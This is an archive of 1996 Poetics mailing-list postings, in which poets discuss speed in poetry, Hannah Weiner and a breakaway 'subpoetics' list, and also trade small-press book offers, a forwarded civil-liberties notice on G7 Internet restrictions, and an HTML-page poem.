There is no present. A present is so close it seems obtainable but when it comes down to the gritty, just far enough of a length to have some downtime between interstices. Hence the reliance on endings, as if the history of circadian rhythms were a false premise because some whiteguy made a newfangled discovery. Throw it all away. Talk about speed, in the suburbs where to renounce speed through the act of walking (one which I might add furthers the connection with the present) is to conflict with the classist version of interior space, one where the landscape is not to be littered with such apparitions of outsiders, the marginalized, the crazy, the children walking to the supermarket. In similitude, the affliction of the lyric is sold to us as a renunciation of speed, that scenes of an uncertain action of disjunction should be upheld to create a violence on the eye of a potential reader whose distance is a recess. The multimedia elimination of the present (& prescence) is no different in vacuity than the false asssumption that we can fully appropriate an experience of the other, just because of the great textual I am. In terms of a post-modern syndoche, the ghost of a part confronts us, while the compared whole, or solid core, has dissappeared.

CB: Weiner has a healthy section of work in the new 6ix, including an essay by Marc DuCharme.
Be well.
David Baratier

↑ Index

101. Mark Wallace
go fast or go slow
Mon 12 Aug 1996

It seems to me that there's not any inherent value per se in a poetry that goes fast or a poetry that goes slow--statements like "I like it fast" or "I like it slow" may tell us something about the taste of the authors in question regarding the aesthetics of poetry or whatever else, but in fact they tell us little more than that. The issue seems to me rather how a certain "fast" or "slow" dynamic in various social contexts pertains to those contexts and not simply to the dynamic of the writer him or her self. Marinetti's interest in speed has to do with his ideology of the machine; differently, the laconic nature of, say, Robert Frost, has something to do with his rejection of modernist investments in the machine, in favor of (equally problematic to me) a staunch restatement of the condition and

value of certain traditional moral stances in the face of change--neither of these are meant as total descriptions of their authors. I'm tempted to make a case for Hannah Weiner's speed, and her assault on white space as pertaining to the way her work seems to argue that "blank space is already written on," that is, far from representing some existential silence, white space in her work is that place where ideology is in charge of us; her ability to write against that white space seems almost like a "talking back to" or "talking through and with" a set of voices that might otherwise overwhelm her by forcing her to be silent. But that's just what I'm thinking today.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

102. **Joseph Lease**

Re: go fast or go slow

Mon 12 Aug 1996

On Mon, 12 Aug 1996, Mark Wallace wrote:

> *It seems to me that there's not any inherent value per se in a poetry that goes fast or a poetry that goes slow--statements like "I like it fast" or "I like it slow" may tell us something about the taste of the authors in question regarding the aesthetics of poetry or whatever else, but in fact they tell us little more than that. The issue seems to me rather how a certain "fast" or "slow" dynamic in various social contexts pertains to those contexts and not simply to the dynamic of the writer him or her self. Marinetti's interest in speed has to do with his ideology of the machine; differently, the laconic nature of, say, Robert Frost, has something to do with his rejection of modernist investments in the machine, in favor of (equally problematic to me) a staunch restatement of the condition and value of certain traditional moral stances in the face of change--neither of these are meant as total descriptions of their authors.*
>
> *I'm tempted to make a case for Hannah Weiner's speed, and her assault on white*
> *space as pertaining to the way her work seems to argue that "blank space is already written on," that is, far from representing some existential silence, white space in her work is that place where ideology is in charge of us; her ability to write against that white space seems almost like a "talking back to" or "talking through and with" a set of voices*

> *that might otherwise overwhelm her by forcing her to be silent. But that's just what I'm thinking today.*
>
> *mark wallace*
>
> */----------*
> *| |*
> *| [redacted] "I have not yet begun |*
> *| to go to extremes" |*
> *| GWU: |*
> *| http://gwis2.circ.gwu.edu/~mdw |*
> *| EPC: |*
> *| http://writing.upenn.edu/epc/authors/wallace |*
> *|_____|*

I really like the point here--the Frost/Weiner contrast works brilliantly--and the matrix shifts as well when one thinks of, for example, Blake's anti-industrialism and the different kinds of poetics that his work suggests--

question--though--

where would Pound's anti-industrialism fit in here--

All Best,

Joseph Lease

↑ Index

103. Gary Roberts
Re: go fast or go slow
Mon 12 Aug 1996

See also S. Kern's study of the Culture of Time and Space, a brilliant study of modernism in terms of late nineteenth century revolutions in transportation and communications technology.
See also R. Poggioli's comments on "activist" mode of experimental writing in the classic Theory of the Avant-Garde.
See also various Ashbery poems like The School of Velocity and The Art of Speed.
That's all I have time and room for now.
Gary Roberts

↑ Index

104. Gabrielle Welford
Re: Craven?
Mon 12 Aug 1996

On Sun, 11 Aug 1996, Schuchat wrote:

> Also, for some reason I have always thought (don't know from whence this
> information is derived) that Cravan was supposed to be the model for the
> hero of Gide's Caves du Vatican (Lafcadio's Adventures).
>
Hmmm, that's interesting. Anyone else know if that's true? gab.

p.s. Thanks for all the info from everyone. Great stuff.

↑ Index

105. David Baratier
Pavement Saw brief sale
Mon 12 Aug 1996

I am moving this upcoming weekend, so we are selling two of our titles
cheap over a cellanoid medium rather than carry as many of the
physical objects.
Information below. Pick from Chris Stroffolino's _Oops_
or Joshua McKinney's _Permutations of the Gallery_
for only *five dollars*.
Backchannel me with your home address and title you are interested in
by this Thursday, August 15th.
Pay when received.

Be well
[redacted]

Pavement Saw Press winner of the 1995-1996 chapbook award:

Permutations of the Gallery
by Joshua McKinney

Poems from this collection first appeared in publications such as the Columbia Poetry Review, Denver Quarterly, Situation, Santa Barbara Review, and Willow Springs.

Publication, a prize of five hundred dollars and ten percent of the book run are awarded to the winner of the annual prize. *Permutations of the Gallery* was selected by Naton Leslie as the 1996 winner of the Pavement Saw Poetry Chapbook Award.

About the book:

Permutations of the Gallery is an ambitious collection, even if recklessly so. Joshua McKinney's poems struggle against the confines of syntax and literal sense, in order to arrive at a uniquely clear grasp of the truces we must maintain with time and spacial existence. To attempt to paraphrase these knotty and paradoxical poems would be akin to stating that Wallace Stevens wrote about the weather. Don't search for narrative threads here, poems about Queen Anne's Lace or cicadas, or paeans for our humdrum, domestic lives. And don't expect to read this book once.
Naton Leslie

Joshua McKinney knows that philosophy is not an abstract matter, nor in anyway separate from our everyday lives. His poems show that to engage the world intimately, we need to _think_ it in the most particular ways. In *Permutations of the Gallery* family friends, nature, and a troubling social world are not givens, but rather questions by which we explore the twisting, disruptive, estatic, sometimes even annihilating terms of our existence.

Mark Wallace

A poetry held taut, that revels in economy and clarity, is filled with insights and syntactical compassion. I highly recommend *Permutations of the Gallery*. Simon Perchik

Published in a limited edition of 250 copies, perfect bound, 6 by 9 size

---

Pavement Saw Press
Oops by
Chris Stroffolino

"Oops stoops over everything and bows to nothing but a longing to believe that somehow, somewhere something will change. Each poem is involved in a continuous monologue that would be a dialogue if it wasn't a poem. Wat gies is what is felt and what is dealt with to feel." Pam Rehm

Features poems which have appeared in Sulfur, Talisman, Lingo, TO, Caliban, New American Writing, American Letters & Commentary and others.

64 pages, perfect bound in attractive purple cover with smiling picture of the author on the back.

The book is $6.95 including postage and handling.

Checks made out to
Pavement Saw Press / 7 James Street / Scotia, NY 12302

↑ Index

106. Gabrielle Welford
Re: Speed
Mon 12 Aug 1996

This made me think--I bet this is part of the reason students and sometimes I (and critics maybe who prefer to talk about than dive into) resist sinking into the words of poetry. gab

On Sun, 11 Aug 1996, Tristan D. Saldana wrote:
>
> Good language is always good at getting us to expand our sense of the
> present, our presence. The media seems to be inhumanely good at
> eliminating the present, and (once again) our presence. A virtue I have
> found in paying attention to language is that it puts me in a comfortable
> relationship to time . . . enables evaluativeness. Not (an)esthetic, but
> an esthetic sedation that helps the 'bash' of the high-threshold lows
> created by the "blunting of the senses" that need hourly gratification as
> Wordsworth says. The world is too much with us, indeed.
>
> I just heard some great lyrics today by a pretty good poet and not half
> bad drummer on this subject . . . how humans, today, live in dog years:
>
> "I'd rather be a tortoise from Galapagos
> or a span of geological time . . ."
>
> Tristan
>

↑ Index

107. Pierre Joris
G7 Internet policy
Mon 12 Aug 1996

Something of possible interest to the lis -- Pierre

G7 NATIONS PROPOSE RESTRICTIONS ON INTERNET COMMUNICATIONS

HUMAN RIGHTS WATCH WARY OF OUTCOME OF TERRORISM CONFERENCE

At a meeting to discuss terrorism on 30 July in Paris, France the G7 group of nations "endorsed a number of restrictions and controls on the Internet," reports Human Rights Watch (HRW). HRW is part of two coalitions deploring

"threats by the G7 to restrict free speech and privacy rights." According to one coalition, composed mainly of international divisions of the Electronic Frontier Foundation and HRW, "The G7 (United States of America, Canada, Great Britain, France, Germany, Italy and Japan) called for "the prohibition or censorship of sources that may contain `dangerous' information, restrictions on the electronic speech of unpopular political organisations, and the imposition of `key escrow' or other means of allowing governments to violate privately encrypted correspondence."

The latest action, which HRW and its partners call "anti-terrorist hysteria," springs from recent events in the US such as the Olympic bombing and the Trans World Airlines (TWA) crash. It is "another case in a long list of attempts to restrict freedom of speech in electronic networks, of which there are alarming examples in many countries including Australia, Belgium, China, France, Germany, Saudi Arabia, Singapore, the USA and Vietnam, under a variety of pretexts ranging from `pornography' to incorrect political opinion to `terrorism.'"

HRW and the others point out that "`offensive' material being targeted is no different from similar material available in libraries and bookshops. As well, information on how to make bombs, as well as other things that would be `banned,' is widely available, often from the very governments pushing for censorship." HRW et al opine that "banning such publications from the Internet will not make it any less widely available. However, it could become the tool for the censorship of any debate or opinion which happens to displease the authorities, or `pressure groups' that do not share those opinions."

HRW also belongs to the Global Internet Liberty Campaign (GILC), which has pledged to fight these and other recommendations to censor the Internet. HRW program director Cynthia Brown said, "Free speech on the Internet is already under attack from states like Saudi Arabia, China and Singapore, and with this agreement, the G7 countries are only reinforcing that negative trend." The GILC was formed at the annual meeting of the Internet Society in Montreal. In addition to HRW, members of the coalition include the American Civil Liberties Union (ACLU), the Electronic Privacy Information Center, the Internet Society, Privacy International, and the Association des Utilisateurs d'Internet.

Further details on the G7 meeting are contained in a GILC press release available on the Web at: http://www.aclu.org/gilc/index1.html For a summary of efforts around the world to censor the Internet see the "10 May 96 Silencing the Net" report on the HRW gopher site at: gopher://gopher.igc.apc.org:5000/11/int/hrw/general For more background on global censorship of the Internet see the web sites: http://www.eff.org/~declan/global/ and http://www.io.org/~sherlock/doom/threat.html For information on global and

international online freedom issues see the Electronic Frontier Foundation web site: http://www.eff.org/pub/Global/ Some of this information will be available in French by e-mail: [redacted], in Catalan at WWW site: http://www.lander.es/~jlmartin/in Italian at WWW site: http://www.nexus.it/alcei.html, and in Spanish at WWW site: http://www.lander.es/~jlmartin/

↑ Index

108. FUNKHOUSER CHRISTOPH

interesting article on the web

Mon 12 Aug 1996

---

i came across an interesting, if problematic, article on the web at
http://darkwing.uoregon.edu/~heroux/uc4/4-lockard.html
it's called
VIRTUAL WHITENESS AND NARRATIVE DIVERSITY
begins with the eye catching phrase "electronic alterity"
though doesn't develop it very far.
the EPC is mentioned in the article.

*

recently finished "Poetry Webs 1996" at
http://cnsvax.albany.edu/~poetry/webs.html

*

In an article about "Zork" a couple of years ago in the Times Book Review 2 or 3 years ago, Robert Pinsky said two of the things that poetry and computers have in common are "memory" and "speed" -- I can't find the article right now but don't remember him particularly backing the statement up in any mind blowing way.

chris f

↑ Index

109. Douglas Messerli

Re: New Books from Meow Press

Mon 12 Aug 1996

Meow--send you your back channel E-mail address and
I'll order something.

Douglas Messerli at [redacted]
==========

At 10:58 AM 8/10/96 -0400, you wrote:
>Hi everybody, before we begin our (pause) "infomerical" (laughter from
>audience) I'd like to take this moment to think back to Orono, you know,
>Orono. I want to thank Orono for Melvin Tolson, whom I've found in the
>Buffalo Public Library. Funny to think that you can't check out a book of
>poetry in buffalo, most poetry existing behind closed stacks. The same is
>true for music library too--and the ERie/County-Buffalo public main branch
>has a great music section, a mix of 20th sentry music (probably lingering
>from the good ol' days at the philharmonic (John Tesh coming this year,
>Doc Severinson's holidy opus+)and an interesting selection of music from
>around the world--both traditional and contemporary. They let you check
>out 10 cds for a week and I'm gettin a real education in music this way.
>Anyway, it is okay to have books stored away for safety, for some
>future researcher, I suppose. Like music, you have to make the
>books you need to read.
>
>On that note, some books are finally available from Meow Press, which is
>3years old this month. More books on the way include: Aaron Shurin, CODEX
>(with in-laid color reproductions), Stephen Ratcliffe, SENTENCE, Noemie
>Maxwell, THRUM, Charles Alexander, FOUR NINETY EIGHT TO SEVEN, Jorge
>Guitart, FILM BLANC, Denise Newman, OF LATER THINGS YET TO COME, Deanna
>Ferguson, ROUGH BUSH, David Carl, THE LIBRARY, and more (I don't have the
>list with me).
>
>Catalogs are available by mail: send queries backchannel to me.
>
>
>
>
>Now Available from Meow Press
>
>
>
>Michael Basinski, Hee-Bee Jeebies
>7x6.5" 24pg.
>$5.00
>
>Natalee Caple, The Price of Acorn
>6.5x4.5" 36pg.

>$6.00
>
>Wendy Kramer, Patinas
>8.5x7" 20pg.
>$5.00
>
>Hank Lazer, The Early Days of the Lang Dynasty
>6.5x6" 36pg.
>$6.00
>
>Jena Osman, Jury
>6.5x4.5" 28pg.
>$5.00
>
>Meredith Quartermain, Terms of Sale
>8.5x7" 48pg.
>$6.00
>
>Lisa Robertson, The Descent
>8.5x7" 24pg.
>$5.00
>
>Lisa Samuels, Letters
>7x6.5" 24pg.
>$5.00
>
>Gary Sullivan, Dead Man
>6.5x5" 32pg.
>$6.00
>
>
>Sullivan & Caple are prose. The whole set of 9 books is available right
>now for $40 for poetics-fans. Call today!
>

↑ Index

110. **Ann Lauterbach**
Re: POETICS Digest - 10 Aug 1...
Mon 12 Aug 1996

To Charles Bernstein---

Wondering how you are this late summer eve. Or summer's eve. Since I never even look at the Digest except when the when turns into the then (so dumb, forget it), am glad to see your CB. HOw does one say hello without talking to the whole team? Hi team Ever, Ann!

↑ Index

111. maria damon

Re: POETICS Digest - 10 Aug 1...

Mon 12 Aug 1996

---

al writes
> To Charles Bernstein---
>
> Wondering how you are this late summer eve. Or summer's eve. Since I never
> even look at the Digest except when the when turns into the then (so dumb,
> forget it), am glad to see your CB. HOw does one say hello without talking to
> the whole team? Hi team Ever, Ann!

hi ann, we've never met, but it's a pleasure nonetheless.
best wishes, maria damon

↑ Index

112. Eiichi Hishikawa

Sun & Moon Press Address

Mon 12 Aug 1996

> *Date: Sun, 11 Aug 1996 12:10:25 -0700*
> *From: Douglas Messerli <[redacted]>*
> *Subject: Re: Hannah Weiner bibliography*
>
> *Thanks for passing on the great Weiner bibliography Charles.*
> *Members of the Poetics List can now get copies of one of Hannah's*
> *best works, SPOKE, for $4.00. Order through our website or*
> *directly through my E-mail address.=20*
>
> *The website (just a reminder) is http//:www.sunmoon.com. My E-mail*
> *at Sun & Moon is [redacted].*
>
> *Sun & Moon will be making new offers for several new titles and older*
> *ones this next week.*
>
> *Douglas Messerli*

Thanks very much for your excellent book _From the Other Side of the Century: A New American Poetry 1960-1990_ (Sun & Moon Press, 1994).

A friend of mine, who recommended this book to me, said his letter to Sun & Moon Press (at 6026 Wilshire Boulevard, Los Angeles, California 90036) was sent back to him with the message "unknown address." He said he used to be able to reach you with this address.

Could you tell me if this address is still valid?

P.S. I'm collecting Internet resources on
20th-century poets writing in English (with biographical data) at
http://www.lit.kobe-u.ac.jp/~hishika/20c_poet.htm
Your book mentioned above has been a tremendous help for
my page, thanks.

Quid prodest hoc ad aeternitatem
Michael Eiichi Hishikawa [redacted]
20c poetry -- http://www.lit.kobe-u.ac.jp/~hishika/20c_poet.htm

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113. Rod Smith
Re: Juliana Spahr's new e-mail
Mon 12 Aug 1996

> *This is Dodie.*
>
> *Is it true these rumors I'm hearing that Juliana and ten others have left the poetics list and started their own poetics list?*

Hi Dodie, it's just a gang of us on a cc list, most are on Poetics as well. Larry Price's idea. Some call it sub-poetics. I call it the A-list.

--Rod

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114. Thomas M. Orange
panel on WCW for Louisville
Mon 12 Aug 1996

listfolks,

i'm interested in putting together a panel for the twentieth-century literature conference to be held in louisville ky in february 1997.

my work on william carlos williams' early writing (roughly from tempers through his collected 1921-1931) has got me looking currently at imagism, objectiv-"ism," pound, zukofsky, periodicals and anthologies from the teens into the thirties (and all the folks that went into publishing those as well: kreymbourg, bodenheim, mcalmon), "minor" poets of the period, etc.

submissions are not due until october, which give us plenty of time to kick this around. i'd welcome ideas for papers on any related and sundry topics. feel free to reply directly to the list or backchannel.

tom orange
[redacted]

↑ Index

115. george hartley
Re: re poetry & speed
Tue 13 Aug 1996

Thanks to all for the clarifications. And to George Bowering (I think): the indigo Girls are a pop rock-folk duo from Georgia who write and sing sentimental lyrics and rhythms that haunt me.

George

Actually the song stuck relentlessly in mind was by Johnny Tillotson, in 1960, on the Cadence label.

Two years before "The Loco-Motion" by Little Eva on Dimension.

From Poetry on Cadence to Loco on Dimension---

In the immortal words of Bo Diddley:

When you're in the groove
You really got to move

--dave baptiste chirot

> *On Thu, 8 Aug 1996, george hartley wrote:*
>
> *Christina Fairbank's*
>
> *"Poetry in motion"*
>
> *the Indigo Girls? on this list at last!*
> *the speed of cultural transmission (Virginia Woolf, Galileo)*
> *the speed of light in the poetry of the stars at night*
>
> *Thank you, George, but credit for those poetry & speed posts goes to*
> *David Baptiste Chirot who is logged into POETICS via my address -*

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116. Jordan Davis
confidentiality, subpo, california
Tue 13 Aug 1996

Dodie! Of all the juicy rumors I gave you you chose the one specifically about email to out? Or maybe I delivered the juicier rumors to Kevin? Or Rodrigo? There is a subpoetics. You can have your own subpoetics. Feel free to add me in, I love to blab.. I go away for two weeks and the Kiev gets someone else to bake the challah. Basically we wanted to talk about things on a smaller and a larger scale. Anybody else stunned to see Hank Lazer's two new books and Bruce Andrews' new book from who is it, Southwest Illinois Modernism Studies? Way cool. Gettin to them right after I get to Samuel Delaney, who's had too many hits on my 'who should I read page' to continue to ignore. For instance, Dodie, you could talk about what I characterized as New York's 'Bruce problem'. That would be a real potato caliente, a jesus prepuce to end all whatevers. Anybody (everybody?) read RH Blyth's Zen in English Literature? O so mary burger does this great magazine called 'proliferation' and there are a bunch of amazing autobio poems by Alice Notley in it. That's one thing I learned in California. How to start a subpoetics. Ask some people if they wouldn't mind being in a subpoetics. Then send an email message ccing all the people who said no they wouldn't mind. Next year this time I hope to have a server with L-Soft running. Maybe then we can have a thousand poetics. That was the idea behind poetics, no? To promote the individual indeces of the real, in as decent a way as possible? Or was it to have a listserv? either way cool. Scared to see what's happened to the kasha varnishkas. Also I learned photoshop. Was the speed question an oblique tie in to the olympics? A little marinetti action? Is kemp going to win? Ach so many questions. Oh right! Finally got to the famous 530 Page #2 which was even better than they said. Missed the cordial Katie Lederer but caught the gracious Anselm Berrigan--a cool lively presence, a Shakespeare play in himself. Props to Kevin for his amazing intros and outros at New College. Kevin Killian, of course. Got Stephen Ratcliffe's 'present tense' and wished I had money for Carla harryman's city lights book. Went to the antenym #what? steve? reading at Canessa Park, Steve Carll in pink tuxedo shirt, shaky handed Eddie Berrigan read, read well, Elizabeth Robinson read some great baby poems, Chris Daniels read a knockout Pessoa translation. The virtuality all connects to something! Yipes! Wow. So does that mean there are as many imaginings caused by a reading of a work of poetry as there are readers, the poet is the superintendent or the reader? Did anybody offer poetics bill Luoma's Lisa Jarnot's Marcella Durand's Kevin Davies's or my books? I could make that offer. I could offer Steve Carll's and Ange Mlinko's books too, but that may take an extra week to sort out.

End of performative east coast occasion.
Jordan

↑ Index

117. **filch**
Re: Juliana Spahr's new e-mail [new satire #3]
Tue 13 Aug 1996

---

above santa monica blvd. just west of westwood on a billboard is a picture of a beautiful persian man. he is always there dressed well, impeccably to be precise, so that the perfect white scarf around his neck and draped down across his breast seems as though it had just snowed and he being an eager and refined man has just stepped out into the world to participate in this newfound snow while across the traffic a toyota billboard trumpets the latest model in three pictures appearing as though on a schedule as the blinds which hold these images rotate in full circle directly behind the board listing live the number of dead and this man, his teeth perking from behind his well shaven face except for his well shaped mustache with its just dusted grey the hair on his pate in the field of his black black hair and his black, so incredibly black, tailored suit so that it just soothes you with this incredible feeling of competancy, this overwhelming desire to go with him to the ball to join him and the woman he would dine with who must be one of the true beauties, the actual real queens from the shah's court and this man has his hand reaching out to you and on his hand, his wonderfully manicured hand, is perched a gorgeous white, like you've never ever in your whole life seen white, dove with its eye a glint and behind this man it says "the A list. . ."

> *Is it true these rumors I'm hearing that Juliana and ten others have left the poetics list and started their own poetics list?*
>
> *Hi Dodie, it's just a gang of us on a cc list, most are on Poetics as well. Larry Price's idea. Some call it sub-poetics. I call it the A-list.*

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118. **filch**
gender discourse
Tue 13 Aug 1996

```
<!-
    the following document
    is best viewed with
->
<html>
<head>
```

```
<title>
    gender discourse
</title>
<base href="http://www.chronotope.com/">
</head>
<body
    bgcolor="#ffffff"
    background="/i/child.gif"
    link="#ff0000"
    alink="#ff0000"
    vlink="#ff0000"
><p>
<center>
<table
    width="480"
    border="0"
><tr><td
    width="480"
    colspan="16"
><img
    src="/i/dot_clear.gif"
    width="480"
    height="10"
></td></tr><tr><td
    width="15"
    colspan="1"
    rowspan="16"
><img
    src="/i/dot_clear.gif"
    width="15"
    height="260"
></td><td><a href="/healing/"><font
    size="7"
>healing.</font></a>
</td>
</tr>
</table>
</center>
</p>
</body>
</html>
```

↑ Index

119. **Henry Gould**
Re: confidentiality, subpo, california
Tue 13 Aug 1996

As Jacques La Can O'Raida writes in his _The U-Turn of the Other_:

"In poetics, there is always already already always already a subpoetics." - Henry La Corn O'Gould

↑ Index

120. **cris cheek**
Re: Craven?
Tue 13 Aug 1996

Atlas Press '4 Dada Suicides' has useful discursions around Craven. Included is Conover's suggestion that, based on considerable evidence, he didn't die off Mexico but reinvented himself and made a living forging Wilde manuscripts.

The book presents selections from Craven's writings also. Worth checking.

love and love
cris

↑ Index

121. **maria damon**
Re: Juliana Spahr's new e-mail
Tue 13 Aug 1996

---

what are the main topics of conversation? (if you're allowed to say)--md
>
> Hi Dodie, it's just a gang of us on a cc list, most are on Poetics as well.
> Larry Price's idea. Some call it sub-poetics. I call it the A-list.
>
> --Rod

↑ Index

122. **maria damon**
Re: Hannah Weiner bibliography
Tue 13 Aug 1996

---

thanks charles; i'm going to try to write something on weiner for the midwest mla and the regular mla. this, along w/ comments from you and others on the list, is extremely helpful. bests, md

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123. Christina Fairbank Chirot

speed & poetry (fwd)

Tue 13 Aug 1996

---------- Forwarded message ----------
Date: Tue, 13 Aug 1996 09:39:40 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: [redacted]
Subject: speed & poetry

The world as we see it is passing--Paul of Tarsus

Re speed and poetry--one way to think of it is as speed in poetry--as Susan Howe writes in an essay on Olson, "seeing in a poem". Speed in poetry has to do with perception and scale. For example, Emily Dickinson:

To close the eyes is travel.

I have but to cross the floor to stand in the Spice Islands.

I do not go away, but the Grounds are ample--almost travel--to me.

Emerson writes that "language is vehicular". In "Nature", he cites the use of mechanical means to attain a "low level of the sublime"in order to over come "the blank or ruin" that is in the eye. Through a change in view, the habitual is revealed as "original".

Pound, Wiiliams and Olson urge writing that is efficient, fast--Pound thought of X-Rays in relation to poetry (at one point his nickname was X-Ray Pound), Williams the car and Olson the typewriter. This speed is related to perception--"one perception following another" faster and faster as Olson says. High speed perception slows things down (as in a camera)--hence the slowness of reading required by the notation used by Pound, Olson and Williams, their making long works of fragments, their use of juxtapositons, "fast cutting" so to speak, among masses of disparate materials, typographies, spaces. High speed also makes for the slowing, stopping of perception, so that the movement of a rock through geological time may be presented.It also makes possible the focusing on particulars, which, seen close up, slowed, change not in appearance but in scale. An example of this is the poetry of Larry Eigner. Eigner writes often of his concern with "immediacy and force". The speed of perception opens space, opens a moment in time, "another time in fragments". Speed in poetry is concerned with immediacy. (hence the documentary aspect in Pound, WCW, Olson, Eigner, Emily Dickinson, Howe). Immediacy is not transparency--hence the opacity, the "look" on the page of these writers. One does not see "through" the words to the immediate. The immediate is made present by the act of reading, which is slowed, and focuses, makes one aware of, the attention.

The opposite kind of speed is that of speed reading--which erases particulars while asserting that it trains one to be able to absrob large amounts of data. The smooth surface of speed reading removes the physical immediacy of opaque writing--"smooths out the bumps", "irons out the rough spots".

A paradox may be that writing concerned with the presentation of immediacy is eidetic--simply by being an object that is opaque rather than "transparent".

Which paradox finds its most extreme manifestation in Kerouac, the fast typer and passenger in Neal Cassady's fast cars. Kerouac wants to write spontaneous bop prosody, does sketching in front of objects and scenes--yet is called "memory Babe", is obsessed by memory.

Speed in poetry in relation to perception and opacity may also be thought of as a resistance. That is, if the opaque poem as object engages the attention, makes one aware of attention--it directs one to the question of the art object in relation to perception: to whom does it "belong". (Both perception and object).

Robert Smithson wrote: A great artist can make art by simply casting a glance. A set of glances could be as solid as any thing or place, but the society continues to cheat the artist out of his "art of looking", by only valuing "art objects".

Speed in poetry directs the attention to an "art of looking", "seeing in a poem" that opens time, space in relation to scale--and opens the question of who and what and how are time and space and objects being turned from perceptions into territories, objects, histories that are owned, bought and sold.

(an examination of some of these questions may be found in Karl Young's review of Olson's
Maximus to Gloucester, at the EPC Olson page.)

re the Olympics, speed and poetry--check out Pindar's Olympian Odes!

the view changes/windows/the same silence/cars.a mass
resting/earth/backyard/clumps/a block/everyday/mysteries/a while/a gas
leak/to do nothing/is it death?/no/consider it/newspaper/real
needed/shadows and fireebreaks/bushes button the hills

--larry eigner

--dave baptiste chirot

↑ Index

124. Douglas Messerli

Re: Sun & Moon Press Address

Tue 13 Aug 1996

Yes, 6026 Wilshire Boulevard, Los Angeles, CA 90036
is still our address. Don't know why a letter never
reached us.

Douglas

At 11:33 AM 8/13/96 +0900, you wrote:
>> Date: Sun, 11 Aug 1996 12:10:25 -0700
>> From: Douglas Messerli <[redacted]>
>> Subject: Re: Hannah Weiner bibliography
>>
>> Thanks for passing on the great Weiner bibliography Charles.
>> Members of the Poetics List can now get copies of one of Hannah's
>> best works, SPOKE, for $4.00. Order through our website or
>> directly through my E-mail address.=20
>>
>> The website (just a reminder) is http//:www.sunmoon.com. My E-mail
>> at Sun & Moon is [redacted].
>>
>> Sun & Moon will be making new offers for several new titles and older
>> ones this next week.
>>
>> Douglas Messerli
>
>Thanks very much for your excellent book _From the Other Side of
>the Century: A New American Poetry 1960-1990_ (Sun & Moon Press, 1994).
>
>A friend of mine, who recommended this book to me, said his letter
>to Sun & Moon Press (at 6026 Wilshire Boulevard, Los Angeles,
>California 90036) was sent back to him with the message "unknown address."
>He said he used to be able to reach you with this address.
>
>Could you tell me if this address is still valid?
>
>P.S. I'm collecting Internet resources on
>20th-century poets writing in English (with biographical data) at
>http://www.lit.kobe-u.ac.jp/~hishika/20c_poet.htm
>Your book mentioned above has been a tremendous help for
>my page, thanks.
>

>
>Quid prodest hoc ad aeternitatem
>Michael Eiichi Hishikawa [redacted]
>20c poetry -- http://www.lit.kobe-u.ac.jp/~hishika/20c_poet.htm
>

↑ Index

125. Gale Nelson
Re: speed & poetry (fwd)
Tue 13 Aug 1996

Maggie Zurowski & Sam Truitt are reading at The Fall Cafe, Smith St, Brooklyn, Saturday, 17th August at 3:oo p.m. These two cats will read some great verse -- so if you're in ear shot, make a bee line.

Maggie has been hanging in Berlin on a Fullbright fellowship & has seen her work in Mirage & the Impercipient. She holds an AB from Brown.

Sam is an MFA holder from Brown and has a great reading style.

Be there, once twice three times.

Gale

↑ Index

126. Jordan Davis
the saddest story (book offer)
Tue 13 Aug 1996

And in all that mess
the graciousness
of friends was necessary
sometimes going uncredited--

For instance Dodie Bellamy
lately outing subpoetics
of the 'Bruce problem'
discussions and the 'coigns'

Dodie thank you for setting
up the reading Mary Burger
the mysterious Robert Hale
and I gave at New College

It's a great room, good crowd
A mural painting friend of mine

arrived alerted by your
publicity, I was amazed

Maria for $100 I'll let you
have the subpoetics archives
on a zip drive Mr Filch
I am not java compatible

but you know how email is
so asychronous, a thread
will go along then someone
will come back to town

and answer thirty messages
it's not exactly abc!
Dodie I was amazed and grateful
for instance, the word 'beautiful'

is the topic right now
Lisa Jarnot refers to it
as the 'Special Ed Poetics List'
which I like better than a-list, Rod

it gets how we've totally missed
the point all along
because this is a publication
and that is a backroom

and both have their morning glories
and smoky zones the semi-privacy
affords some well not candor
but reaction Dodie if I pause

it's because my parents
come from different class backgrounds
Steve what do you make now of that
consistently coincidental laughter

and of anybody's failure to say hey
POETICS how are you, to say hello
four hundred people, there's a comfort
level like a middle distance race

not one to one and not Mussolini
at the balcony either tho sometimes
I get the feeling anyway
consciousness at 40 hertz

and A at 440
awake it's noon here and back
to work
SPECIAL OFFER FROM SUBPOETICS/

POETRY CITY
Sea Lyrics by Lisa Jarnot $5
Western Love by Bill Luoma $5
Lapsis Linguae by Marcella Durand $5

Thunk by Kevin Davies $3
A Little Gold Book by Jordan Davis $5
All five of these books for $20 ppd
Send a message with your address to

[redacted]
and I'll bill you
thanks Steve for being thanks Dodie
Love, Jordan

↑ Index

127. Herb Levy
Re: the saddest story (book offer)
Tue 13 Aug 1996

Jordan -

Please send me the handy five-pack for $20.

Is the Kevin Davies book a further instance of the Canadian language in the tradition of Dan Farrell's "Thimking of You"?

& does Noemie Maxwell (not a Canadian)'s "Thrum" fit into these Canadian conjugations?

Or not.

Herb Levy
P O Box 95744
Seattle, WA 98145

E-mail me an address & I'll send a check even before these books arrive. Hoo-hah.

Bests

Herb

> *SPECIAL OFFER FROM SUBPOETICS/*

> *POETRY CITY*
> *_Sea Lyrics_ by Lisa Jarnot $5*
> *_Western Love_ by Bill Luoma $5*
> *_Lapsis Linguae_ by Marcella Durand $5*
>
> *_Thunk_ by Kevin Davies $3*
> *_A Little Gold Book_ by Jordan Davis $5*
> *All five of these books for $20 ppd*
> *Send a message with your address to*
>
> [redacted]
> *and I'll bill you*
> *thanks Steve for being thanks Dodie*
> *Love, Jordan*

Herb Levy
[redacted]

↑ Index

128. Joseph Lease
Re: defining or refusing to define
Tue 13 Aug 1996

--a couple of days ago I posted a message asking if anyone would be interested in discussing a range of poets--a certain range but I tried to word my message so as to leave the range open--ie, let the poets define certain topics of discussion (sites of poetics)--and go for them--adding poets whenever to the convesation whenever one wanted to--

--the response--and a very reasonable question--was--well, what makes these poets a group--

--but of course I didn't say they were a group

--nor did I want them to be a group

--however, of course groups are necessary and real and useful and generative--and of course people understand that there are differences within groups as well as differences between groups--

--but a question I would like to read pursued is:--what are the ways that poets can read poets from different and differently defined groups together (or, as Whitman might put it, side by side)--

--for example (and I really only mean this as an example)--

--one pairing that seems fruitful to me is Amiri Baraka / Bruce Andrews

All Best,
Joseph Lease

